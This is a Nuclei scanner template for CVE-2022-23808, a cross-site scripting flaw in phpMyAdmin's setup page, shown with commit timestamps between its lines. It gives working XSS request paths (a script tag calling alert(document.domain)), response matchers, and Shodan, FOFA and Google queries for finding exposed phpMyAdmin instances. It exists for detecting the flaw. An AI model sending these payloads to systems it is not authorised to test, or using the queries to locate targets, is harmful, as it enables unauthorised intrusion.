nuclei-templates/http/cves/2022/CVE-2022-23808.yaml

68 lines
2.6 KiB
YAML
Raw Normal View History

id: CVE-2022-23808
info:
name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
2022-05-16 18:03:46 +00:00
author: cckuailong,daffainfo
severity: medium
description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.
reference:
- https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
- https://github.com/dipakpanchal456/CVE-2022-23808
- https://nvd.nist.gov/vuln/detail/CVE-2022-23808
- https://www.phpmyadmin.net/security/PMASA-2022-2/
2023-07-11 19:49:27 +00:00
- https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-23808
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.00758
epss-percentile: 0.81074
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
2022-05-17 07:06:09 +00:00
metadata:
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: phpmyadmin
product: phpmyadmin
shodan-query:
- http.component:"phpmyadmin"
- http.title:"phpmyadmin"
- cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
fofa-query:
- title="phpmyadmin"
- body="pma_servername" && body="4.8.4"
2024-05-31 19:23:20 +00:00
google-query: intitle:"phpmyadmin"
hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
2022-03-03 11:39:21 +00:00
tags: cve,cve2022,phpmyadmin,xss
http:
- method: GET
path:
2022-05-17 07:25:00 +00:00
- "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-03-03 11:39:21 +00:00
stop-at-first-match: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-05-17 07:25:00 +00:00
- "\"></script><script>alert(document.domain)</script>"
2022-05-16 18:03:46 +00:00
- "<h2>Add a new server</h2>"
- "<title>phpMyAdmin setup"
condition: and
2022-05-17 07:06:09 +00:00
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450221008d51dd72332aa48ee6c6d366dc0abea1dc8e6e62bfb44eeb56cfbdc5ba38bf6f02203da6be1a32f71f2b9311be26e17356c2f694f4d5a7184bc0559db638c9748d35:922c64590222798bb761d5b6d8e72950